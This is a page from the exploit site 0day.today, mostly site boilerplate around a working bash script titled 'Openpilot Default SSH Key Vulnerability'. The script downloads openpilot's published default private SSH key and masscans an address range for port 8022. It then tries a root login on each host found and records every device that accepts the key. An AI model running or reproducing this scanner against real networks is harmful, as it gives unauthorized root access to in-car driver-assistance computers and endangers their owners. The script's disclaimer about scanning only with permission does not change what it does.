0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Openpilot Default SSH Key Vulnerability
#!/bin/bash # # openpilot-scan.sh # # Jeremy Brown [jbrown3264/gmail] # Dec 2020 # # Checks for openpilot devices using the default SSH key # # Setup # > apt-get install -y masscan && setcap cap_net_raw=ep /usr/bin/masscan # > wget -q https://raw.githubusercontent.com/commaai/openpilot/master/tools/ssh/id_rsa # > chmod 600 id_rsa # # Example # > ./openpilot-scan.sh 10.100.100.1/24 # # Disclaimer # This script will port scan and attempt login to SSH servers which accept a # given key. Use it at your own risk, no guarentees, only scan your own network # or those that you have permission to scan. You assume full responsibility # for any use or execution of these tools, authorized entry or otherwise actions. # KEY="id_rsa" MATCH_IP='[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' MASSCAN_LOG="masscan.log" SCAN_LOG="scan.log" FOUND_FILE="found.txt" SSH_PORT=8022 USER="root" if [ $# -ne 1 ]; then echo "usage: ./openpilot-scan.sh ra.n.g.e/24" exit 1 fi # scan masscan --open -p $SSH_PORT -oL $MASSCAN_LOG $1 >/dev/null 2>&1 # parse grep -ohP "$MATCH_IP" $MASSCAN_LOG > $SCAN_LOG # check while read IP do ssh $USER@$IP \ -p $SSH_PORT \ -o batchmode=yes \ -o StrictHostKeyChecking=no \ -T -i $KEY >/dev/null 2>&1 if [ $? -ne 255 ]; then echo $IP echo $IP >> $FOUND_FILE fi done < $SCAN_LOG # 0day.today [2024-11-15] #